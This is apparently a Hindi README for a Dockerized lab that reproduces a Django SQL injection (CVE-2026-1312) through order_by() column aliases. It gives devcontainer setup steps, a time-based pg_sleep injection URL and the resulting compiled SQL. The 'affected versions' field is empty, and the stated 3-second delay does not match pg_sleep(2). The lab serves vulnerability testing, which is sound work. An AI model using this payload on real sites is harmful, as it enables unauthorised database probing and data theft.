
CVE-2026-1312 को पुनः उत्पन्न करता है, जो Django SQL इंजेक्शन भेद्यता है, जिसमें Dockerized वातावरण और सुरक्षा परीक्षण के लिए चरण-दर-चरण PoC शामिल है।
CVE-2026-1312 एक उच्च-जोखिम वाला Django SQL इंजेक्शन भेद्यता है: जब QuerySet.order_by() में डॉट वाले कॉलम उपनाम का उपयोग किया जाता है, और FilteredRelation के साथ डिक्शनरी के माध्यम से गतिशील रूप से क्वेरी बनाई जाती है, तो हमलावर द्वारा दुर्भावनापूर्ण SQL इंजेक्ट किया जा सकता है
प्रभावित संस्करण:
यह भेद्यता प्रोजेक्ट vscode के devcontainer का उपयोग करके बनाया गया है
1️⃣ प्रोजेक्ट खोलें VS Code से पहले से मौजूद प्रोजेक्ट रूट निर्देशिका (.devcontainer फ़ोल्डर सहित) खोलें।
2️⃣ कंटेनर फिर से खोलें (Dev Container बनाएं)
Ctrl+Shift+P (Windows/Linux) या Cmd+Shift+P (Mac) दबाएं
Remote-Containers: Reopen in Container टाइप करें
VS Code .devcontainer कॉन्फ़िगरेशन पढ़कर कंटेनर बनाएगा (पहली बार बनाने में कुछ मिनट लग सकते हैं)
⚠️ यदि Dockerfile या निर्भरताएं अपडेट हुई हैं, तो Remote-Containers: Rebuild Container चुनें, ताकि नवीनतम वातावरण सुनिश्चित हो।
3️⃣ Django विकास सर्वर चलाएं
कमांड पैलेट Ctrl+Shift+P खोलें
Tasks: Run Task टाइप करें
django:start चुनें (कार्य .vscode/tasks.json में कॉन्फ़िगर किया गया है)
यह कार्य कंटेनर के अंदर Django विकास सर्वर प्रारंभ करेगा
डिफ़ॉल्ट रूप से 0.0.0.0:8086 पर सुनता है
4️⃣ ब्राउज़र खोलकर प्रोजेक्ट तक पहुंचें
ब्राउज़र खोलकर पहुंचें:
5️⃣ ध्यान देने योग्य बातें
पहली बार चलाने पर:
डेटाबेस माइग्रेशन करने की आवश्यकता हो सकती है:
python manage.py migrate
/book/search इंटरफ़ेस तक पहुंचें, http://localhost:8086/book/search?name=vuln_book.id,pg_sleep(2)
तो देखा जा सकता है कि 3 सेकंड की देरी सफलतापूर्वक होती है
इस समय django orm द्वारा संकलित अंतर्निहित sql है
SELECT "vuln_book"."id", "vuln_book"."title", "vuln_book"."author_id" FROM "vuln_book" ORDER BY ("vuln_book".id,pg_sleep(2)) ASC